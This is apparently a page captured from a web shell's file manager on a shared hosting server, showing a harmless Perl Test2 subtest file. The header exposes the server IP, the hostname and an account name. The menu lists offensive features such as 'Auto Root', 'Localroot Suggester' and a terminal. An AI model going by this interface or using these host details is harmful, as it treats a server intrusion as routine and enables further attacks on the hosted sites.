Linux server1.hosting4iran.com 4.18.0-553.123.2.el8_10.x86_64 #1 SMP Thu May 7 15:28:41 EDT 2026 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.217.150
Domains : 326 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-Test-Simple /
t /
Legacy /
Test2 /
Delete
Unzip
Name
Size
Permission
Date
Action
Subtest.t
679
B
-rw-r--r--
2018-03-30 05:53
Save
Rename
use strict; use warnings; use Test::More; use Test2::API qw/intercept/; my $res = intercept { subtest foo => sub { ok(1, "check"); }; }; is(@$res, 2, "2 results"); isa_ok($res->[0], 'Test2::Event::Note'); is($res->[0]->message, 'Subtest: foo', "got subtest note"); isa_ok($res->[1], 'Test2::Event::Subtest'); ok($res->[1]->pass, "subtest passed"); my $subs = $res->[1]->subevents; is(@$subs, 2, "got all subevents"); isa_ok($subs->[0], 'Test2::Event::Ok'); is($subs->[0]->pass, 1, "subtest ok passed"); is($subs->[0]->name, 'check', "subtest ok name"); isa_ok($subs->[1], 'Test2::Event::Plan'); is($subs->[1]->max, 1, "subtest plan is 1"); done_testing;